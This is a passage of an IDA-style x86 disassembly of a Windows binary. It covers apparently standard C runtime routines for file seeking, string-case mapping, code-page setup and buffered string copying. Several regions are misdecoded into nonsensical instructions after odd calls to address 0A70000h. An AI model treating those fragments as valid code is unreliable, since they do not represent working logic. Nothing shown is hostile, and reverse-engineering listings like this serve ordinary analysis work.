		mov	eax, [ebp+var_8]
		jmp	short loc_419C0A
; ---------------------------------------------------------------------------


loc_419BF6:				; CODE XREF: sub_419A19+12j
					; sub_419A19+39j
		and	ds:dword_45E808, 0
		mov	ds:dword_45E804, 9


loc_419C07:				; CODE XREF: sub_419A19+ABj
					; sub_419A19+C3j
		or	eax, 0FFFFFFFFh


loc_419C0A:				; CODE XREF: sub_419A19+B7j
					; sub_419A19+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419A19	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C0F	proc near		; CODE XREF: sub_414ECE+67p
					; sub_415CC7+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, ds:dword_45FC20
		push	esi
		push	edi
		jnb	short loc_419C91
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:45FB20h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_419C91
		push	eax
		call	sub_41B556
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_419C53
		mov	ds:dword_45E804, 9
		jmp	short loc_419CA2
; ---------------------------------------------------------------------------


loc_419C53:				; CODE XREF: sub_419C0F+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	ds:dword_41F098	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_419C73
		call	ds:dword_41F068	; RtlGetLastWin32Error
		jmp	short loc_419C75
; ---------------------------------------------------------------------------


loc_419C73:				; CODE XREF: sub_419C0F+5Aj
		xor	eax, eax


loc_419C75:				; CODE XREF: sub_419C0F+62j
		test	eax, eax
		jz	short loc_419C82
		push	eax
		call	sub_41A667
		pop	ecx
		jmp	short loc_419CA2
; ---------------------------------------------------------------------------


loc_419C82:				; CODE XREF: sub_419C0F+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_419CA5
; ---------------------------------------------------------------------------


loc_419C91:				; CODE XREF: sub_419C0F+Dj
					; sub_419C0F+2Aj
		and	ds:dword_45E808, 0
		mov	ds:dword_45E804, 9


loc_419CA2:				; CODE XREF: sub_419C0F+42j
					; sub_419C0F+71j
		or	eax, 0FFFFFFFFh


loc_419CA5:				; CODE XREF: sub_419C0F+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_419C0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419CA9	proc near		; CODE XREF: sub_414ECE+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_419CC5
		mov	[edi+4], ebx


loc_419CC5:				; CODE XREF: sub_419CA9+17j
		push	1
		push	ebx
		push	esi
		call	sub_419C0F
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_419D33
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_419CEA
		sub	eax, [edi+4]
		jmp	loc_419DFC
; ---------------------------------------------------------------------------


loc_419CEA:				; CODE XREF: sub_419CA9+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_419D24
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, ds:dword_45FB20[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_419D3B
		mov	edx, ecx


loc_419D15:				; CODE XREF: sub_419CA9+79j
		cmp	edx, eax
		jnb	short loc_419D3B
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_419D21
		inc	[ebp+var_8]


loc_419D21:				; CODE XREF: sub_419CA9+73j
		inc	edx
		jmp	short loc_419D15
; ---------------------------------------------------------------------------


loc_419D24:				; CODE XREF: sub_419CA9+50j
		test	dl, 80h
		jnz	short loc_419D3B
		mov	ds:dword_45E804, 16h


loc_419D33:				; CODE XREF: sub_419CA9+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_419DFC
; ---------------------------------------------------------------------------


loc_419D3B:				; CODE XREF: sub_419CA9+68j
					; sub_419CA9+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_419D49
		mov	eax, [ebp+var_8]
		jmp	loc_419DFC
; ---------------------------------------------------------------------------


loc_419D49:				; CODE XREF: sub_419CA9+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_419DF4
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_419D62
		and	[ebp+var_8], edx
		jmp	loc_419DF4
; ---------------------------------------------------------------------------


loc_419D62:				; CODE XREF: sub_419CA9+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:45FB20h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_419DEE
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_419C0F
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_419DB5
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_419DA0:				; CODE XREF: sub_419CA9+104j
		cmp	eax, ecx
		jnb	short loc_419DAF
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_419DAC
		inc	[ebp+arg_0]


loc_419DAC:				; CODE XREF: sub_419CA9+FEj
		inc	eax
		jmp	short loc_419DA0
; ---------------------------------------------------------------------------


loc_419DAF:				; CODE XREF: sub_419CA9+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_419DE9
; ---------------------------------------------------------------------------


loc_419DB5:				; CODE XREF: sub_419CA9+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_419C0F
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_419DDC
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_419DDC
		test	ch, 4
		jz	short loc_419DDF


loc_419DDC:				; CODE XREF: sub_419CA9+124j
					; sub_419CA9+12Cj
		mov	eax, [edi+18h]


loc_419DDF:				; CODE XREF: sub_419CA9+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_419DE9:				; CODE XREF: sub_419CA9+10Aj
		jz	short loc_419DEE
		inc	[ebp+arg_0]


loc_419DEE:				; CODE XREF: sub_419CA9+D9j
					; sub_419CA9:loc_419DE9j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_419DF4:				; CODE XREF: sub_419CA9+A4j
					; sub_419CA9+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_419DFC:				; CODE XREF: sub_419CA9+3Cj
					; sub_419CA9+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419CA9	endp

; ---------------------------------------------------------------------------


loc_419E01:				; CODE XREF: sub_415223+A3p
					; sub_418D01+A5p ...
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F870
		push	offset sub_41AE98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	edi, edi
		cmp	ds:dword_45E88C, edi
		jnz	short loc_419E77
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_41F868
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_41F184	; LCMapStringW
		test	eax, eax
		jz	short loc_419E55
		mov	ds:dword_45E88C, ebx
		jmp	short loc_419E77
; ---------------------------------------------------------------------------


loc_419E55:				; CODE XREF: seg000:00419E4Bj
		push	edi
		push	edi
		push	ebx
		push	offset dword_42E344
		push	esi
		push	edi
		call	near ptr 0A70000h
		inc	dword ptr [ebp+22840FC0h]
		add	[eax], eax
		add	bh, al
		add	eax, offset dword_45E88C
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_419E77:				; CODE XREF: seg000:00419E2Fj
					; seg000:00419E53j
		cmp	[ebp+14h], edi
		jle	short loc_419E8C
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		call	sub_41A025
		pop	ecx
		pop	ecx
		mov	[ebp+14h], eax


loc_419E8C:				; CODE XREF: seg000:00419E7Aj
		mov	eax, ds:dword_45E88C
		cmp	eax, 2
		jnz	short loc_419EB3
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 0A70000h
		or	ebp, ecx
		fiadd	word ptr [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_419EB3:				; CODE XREF: seg000:00419E94j
		cmp	eax, 1
		jnz	loc_419F8F
		cmp	[ebp+20h], edi
		jnz	short loc_419EC9
		mov	eax, ds:dword_45E8A8
		mov	[ebp+20h], eax


loc_419EC9:				; CODE XREF: seg000:00419EBFj
		push	edi
		push	edi
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		mov	eax, [ebp+24h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+20h]
		call	ds:dword_41F12C	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		cmp	ebx, edi
		jz	loc_419F8F
		mov	[ebp-4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_413E30
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-24h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_419F24
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		mov	[ebp-24h], edi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp-1Ch]


loc_419F24:				; CODE XREF: seg000:00419F0Fj
		cmp	[ebp-24h], edi
		jz	short loc_419F8F
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	1
		push	dword ptr [ebp+20h]
		call	ds:dword_41F12C	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_419F8F
		push	edi
		push	edi
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_41F184	; LCMapStringW
		mov	esi, eax
		mov	[ebp-28h], esi
		cmp	esi, edi
		jz	short loc_419F8F
		test	byte ptr [ebp+0Dh], 4
		jz	short loc_419FA3
		cmp	[ebp+1Ch], edi
		jz	loc_41A01E
		cmp	esi, [ebp+1Ch]
		jg	short loc_419F8F
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_41F184	; LCMapStringW
		test	eax, eax
		jnz	loc_41A01E


loc_419F8F:				; CODE XREF: seg000:00419EB6j
					; seg000:00419EEDj ...
		xor	eax, eax


loc_419F91:				; CODE XREF: seg000:0041A020j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419FA3:				; CODE XREF: seg000:00419F61j
		mov	dword ptr [ebp-4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_413E30
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-20h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_419FD7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		xor	ebx, ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-28h]


loc_419FD7:				; CODE XREF: seg000:00419FC3j
		cmp	ebx, edi
		jz	short loc_419F8F
		push	esi
		push	ebx
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_41F184	; LCMapStringW
		test	eax, eax
		jz	short loc_419F8F
		cmp	[ebp+1Ch], edi
		push	edi
		push	edi
		jnz	short loc_419FFE
		push	edi
		push	edi
		jmp	short loc_41A004
; ---------------------------------------------------------------------------


loc_419FFE:				; CODE XREF: seg000:00419FF8j
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]


loc_41A004:				; CODE XREF: seg000:00419FFCj
		push	esi
		push	ebx
		push	220h
		push	dword ptr [ebp+20h]
		call	ds:dword_41F128	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_419F8F


loc_41A01E:				; CODE XREF: seg000:00419F66j
					; seg000:00419F89j
		mov	eax, esi
		jmp	loc_419F91

; =============== S U B	R O U T	I N E =======================================



sub_41A025	proc near		; CODE XREF: seg000:00419E82p
					; sub_41D8D5+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_41A042


loc_41A035:				; CODE XREF: sub_41A025+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_41A042
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_41A035


loc_41A042:				; CODE XREF: sub_41A025+Ej
					; sub_41A025+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_41A04D
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_41A04D:				; CODE XREF: sub_41A025+21j
		mov	eax, edx
		retn
sub_41A025	endp

; ---------------------------------------------------------------------------


loc_41A050:				; CODE XREF: sub_41A414+Bp
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41A1E9
		mov	esi, eax
		pop	ecx
		cmp	esi, ds:dword_45FC24
		mov	[ebp+8], esi
		jz	loc_41A1DD
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41A1D3
		xor	edx, edx
		mov	eax, offset dword_42D470


loc_41A084:				; CODE XREF: seg000:0041A091j
		cmp	[eax], esi
		jz	short loc_41A0FA
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_42D560
		jl	short loc_41A084
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	near ptr 0A70000h
		cmp	al, [ebx-7AF0FE08h]
		and	al, 1
; ---------------------------------------------------------------------------
		db 2 dup(0), 6Ah
; ---------------------------------------------------------------------------
		inc	eax
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_45FD40
		cmp	dword ptr [ebp-18h], 1
		mov	ds:dword_45FC24, esi
		rep stosd
		stosb
		mov	ds:dword_45FE44, ebx
		jbe	loc_41A1B9
		cmp	byte ptr [ebp-12h], 0
		jz	loc_41A18F
		lea	ecx, [ebp-11h]


loc_41A0D7:				; CODE XREF: seg000:0041A189j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41A18F
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41A0E8:				; CODE XREF: seg000:0041A0F8j
		cmp	eax, edx
		ja	loc_41A183
		or	ds:byte_45FD41[eax], 4
		inc	eax
		jmp	short loc_41A0E8
; ---------------------------------------------------------------------------


loc_41A0FA:				; CODE XREF: seg000:0041A086j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_45FD40
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp-4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_42D480[esi]


loc_41A116:				; CODE XREF: seg000:0041A153j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41A149


loc_41A11D:				; CODE XREF: seg000:0041A147j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41A149
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41A142
		mov	edx, [ebp-4]
		mov	dl, ds:byte_42D468[edx]


loc_41A137:				; CODE XREF: seg000:0041A140j
		or	ds:byte_45FD41[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41A137


loc_41A142:				; CODE XREF: seg000:0041A12Cj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41A11D


loc_41A149:				; CODE XREF: seg000:0041A11Bj
					; seg000:0041A122j
		inc	dword ptr [ebp-4]
		add	ebx, 8
		cmp	dword ptr [ebp-4], 4
		jb	short loc_41A116
		mov	eax, [ebp+8]
		mov	ds:dword_45FC3C, 1
		push	eax
		mov	ds:dword_45FC24, eax
		call	sub_41A233
		lea	esi, dword_42D474[esi]
		mov	edi, offset dword_45FC30
		movsd
		movsd
		pop	ecx
		mov	ds:dword_45FE44, eax
		movsd
		jmp	short loc_41A1D8
; ---------------------------------------------------------------------------


loc_41A183:				; CODE XREF: seg000:0041A0EAj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41A0D7


loc_41A18F:				; CODE XREF: seg000:0041A0CEj
					; seg000:0041A0DBj
		push	1
		pop	eax


loc_41A192:				; CODE XREF: seg000:0041A19Fj
		or	ds:byte_45FD41[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41A192
		push	esi
		call	sub_41A233
		pop	ecx
		mov	ds:dword_45FE44, eax
		mov	ds:dword_45FC3C, 1
		jmp	short loc_41A1BF
; ---------------------------------------------------------------------------


loc_41A1B9:				; CODE XREF: seg000:0041A0C4j
		mov	ds:dword_45FC3C, ebx


loc_41A1BF:				; CODE XREF: seg000:0041A1B7j
		xor	eax, eax
		mov	edi, offset dword_45FC30
		stosd
		stosd
		stosd
		jmp	short loc_41A1D8
; ---------------------------------------------------------------------------
		cmp	ds:dword_45E8B0, ebx
		jz	short loc_41A1E1


loc_41A1D3:				; CODE XREF: seg000:0041A077j
		call	sub_41A266


loc_41A1D8:				; CODE XREF: seg000:0041A181j
					; seg000:0041A1C9j
		call	loc_41A28F


loc_41A1DD:				; CODE XREF: seg000:0041A06Dj
		xor	eax, eax
		jmp	short loc_41A1E4
; ---------------------------------------------------------------------------


loc_41A1E1:				; CODE XREF: seg000:0041A1D1j
		or	eax, 0FFFFFFFFh


loc_41A1E4:				; CODE XREF: seg000:0041A1DFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41A1E9	proc near		; CODE XREF: seg000:0041A05Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	ds:dword_45E8B0, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short near ptr loc_41A208+1
		mov	ds:dword_45E8B0, 1
		call	near ptr 0A70000h


loc_41A208:				; CODE XREF: sub_41A1E9+Ej
		db	36h
		cmp	eax, 0FFFFFFFDh
		jnz	short near ptr loc_41A21D+1
		mov	ds:dword_45E8B0, 1
		call	near ptr 0A70000h


loc_41A21D:				; CODE XREF: sub_41A1E9+23j
		add	eax, [ebx+0F75FCF8h]
		mov	eax, ds:dword_45E8A8
		mov	ds:dword_45E8B0, 1
		retn
sub_41A1E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A233	proc near		; CODE XREF: seg000:0041A168p
					; seg000:0041A1A2p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41A260
		sub	eax, 4
		jz	short loc_41A25A
		sub	eax, 0Dh
		jz	short loc_41A254
		dec	eax
		jz	short loc_41A24E
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A24E:				; CODE XREF: sub_41A233+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41A254:				; CODE XREF: sub_41A233+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41A25A:				; CODE XREF: sub_41A233+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41A260:				; CODE XREF: sub_41A233+9j
		mov	eax, 411h
		retn
sub_41A233	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A266	proc near		; CODE XREF: seg000:loc_41A1D3p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_45FD40
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_45FC30
		mov	ds:dword_45FC24, eax
		mov	ds:dword_45FC3C, eax
		mov	ds:dword_45FE44, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41A266	endp

; ---------------------------------------------------------------------------


loc_41A28F:				; CODE XREF: seg000:loc_41A1D8p
		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		push	ds:dword_45FC24
		call	near ptr 0A70000h
		add	al, 83h
		clc
		add	[edi], ecx
		test	[esi], edx
		add	[eax], eax
		add	[ebx], dh
		sar	byte ptr [esi+100h], 88h ; CODE	XREF: seg000:0041A2C3j
		test	ds:0FFFFFEECh, al
		inc	eax
		cmp	eax, esi
		jb	short near ptr loc_41A2B3+6
		mov	al, [ebp-0Eh]
		mov	byte ptr [ebp-114h], 20h
		test	al, al
		jz	short loc_41A30A
		push	ebx
		push	edi
		lea	edx, [ebp-0Dh]


loc_41A2D8:				; CODE XREF: seg000:0041A306j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41A2FF
		sub	ecx, eax
		lea	edi, [ebp+eax-114h]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41A2FF:				; CODE XREF: seg000:0041A2E0j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41A2D8
		pop	edi
		pop	ebx


loc_41A30A:				; CODE XREF: seg000:0041A2D1j
		push	0
		lea	eax, [ebp-514h]
		push	ds:dword_45FE44
		push	ds:dword_45FC24
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	1
		call	loc_41B287
		push	0
		lea	eax, [ebp-214h]
		push	ds:dword_45FC24
		push	esi
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	esi
		push	ds:dword_45FE44
		call	loc_419E01
		push	0
		lea	eax, [ebp-314h]
		push	ds:dword_45FC24
		push	esi
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	200h
		push	ds:dword_45FE44
		call	loc_419E01
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp-514h]


loc_41A385:				; CODE XREF: seg000:0041A3C4j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41A3A3
		or	ds:byte_45FD41[eax], 10h
		mov	dl, [ebp+eax-214h]


loc_41A39B:				; CODE XREF: seg000:0041A3B6j
		mov	ds:byte_45FC40[eax], dl
		jmp	short loc_41A3BF
; ---------------------------------------------------------------------------


loc_41A3A3:				; CODE XREF: seg000:0041A38Bj
		test	dl, 2
		jz	short loc_41A3B8
		or	ds:byte_45FD41[eax], 20h
		mov	dl, [ebp+eax-314h]
		jmp	short loc_41A39B
; ---------------------------------------------------------------------------


loc_41A3B8:				; CODE XREF: seg000:0041A3A6j
		and	ds:byte_45FC40[eax], 0


loc_41A3BF:				; CODE XREF: seg000:0041A3A1j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41A385
		jmp	short loc_41A411
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	esi, 100h


loc_41A3CF:				; CODE XREF: seg000:0041A40Fj
		cmp	eax, 41h
		jb	short loc_41A3ED
		cmp	eax, 5Ah
		ja	short loc_41A3ED
		or	ds:byte_45FD41[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41A3E5:				; CODE XREF: seg000:0041A403j
		mov	ds:byte_45FC40[eax], cl
		jmp	short loc_41A40C
; ---------------------------------------------------------------------------


loc_41A3ED:				; CODE XREF: seg000:0041A3D2j
					; seg000:0041A3D7j
		cmp	eax, 61h
		jb	short loc_41A405
		cmp	eax, 7Ah
		ja	short loc_41A405
		or	ds:byte_45FD41[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41A3E5
; ---------------------------------------------------------------------------


loc_41A405:				; CODE XREF: seg000:0041A3F0j
					; seg000:0041A3F5j
		and	ds:byte_45FC40[eax], 0


loc_41A40C:				; CODE XREF: seg000:0041A3EBj
		inc	eax
		cmp	eax, esi
		jb	short loc_41A3CF


loc_41A411:				; CODE XREF: seg000:0041A3C6j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41A414	proc near		; CODE XREF: sub_41A852+9p
					; sub_41A8AA+Dp ...
		cmp	ds:dword_45FE6C, 0
		jnz	short locret_41A42F
		push	0FFFFFFFDh
		call	loc_41A050
		pop	ecx
		mov	ds:dword_45FE6C, 1

locret_41A42F:				; CODE XREF: sub_41A414+7j
		retn
sub_41A414	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A430	proc near		; CODE XREF: sub_4153D8+2Bp
					; sub_4153D8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_45FC3C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41A454
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_414DD0
		add	esp, 0Ch
		jmp	short loc_41A4B7
; ---------------------------------------------------------------------------


loc_41A454:				; CODE XREF: sub_41A430+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41A499
		mov	ecx, [ebp+arg_4]


loc_41A45F:				; CODE XREF: sub_41A430+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	ds:byte_45FD41[esi], 4
		mov	[edi], al
		jz	short loc_41A483
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41A48F
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41A495
		jmp	short loc_41A489
; ---------------------------------------------------------------------------


loc_41A483:				; CODE XREF: sub_41A430+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41A499


loc_41A489:				; CODE XREF: sub_41A430+51j
		test	edx, edx
		jnz	short loc_41A45F
		jmp	short loc_41A499
; ---------------------------------------------------------------------------


loc_41A48F:				; CODE XREF: sub_41A430+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41A499
; ---------------------------------------------------------------------------


loc_41A495:				; CODE XREF: sub_41A430+4Fj
		and	byte ptr [edi-2], 0


loc_41A499:				; CODE XREF: sub_41A430+2Aj
					; sub_41A430+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41A4B4
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41A4B4:				; CODE XREF: sub_41A430+6Fj
		mov	eax, [ebp+arg_0]


loc_41A4B7:				; CODE XREF: sub_41A430+22j
		pop	edi
		pop	ebp
		retn
sub_41A430	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4BA	proc near		; CODE XREF: sub_41568F+A2p
					; sub_415CC7+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, ds:dword_45FC20
		push	esi
		push	edi
		jnb	loc_41A64E
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:45FB20h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41A64E
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41A50B


loc_41A504:				; CODE XREF: sub_41A4BA+177j
		xor	eax, eax
		jmp	loc_41A662
; ---------------------------------------------------------------------------


loc_41A50B:				; CODE XREF: sub_41A4BA+48j
		test	al, 20h
		jz	short loc_41A51B
		push	2
		push	edi
		push	ecx
		call	sub_419C0F
		add	esp, 0Ch


loc_41A51B:				; CODE XREF: sub_41A4BA+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
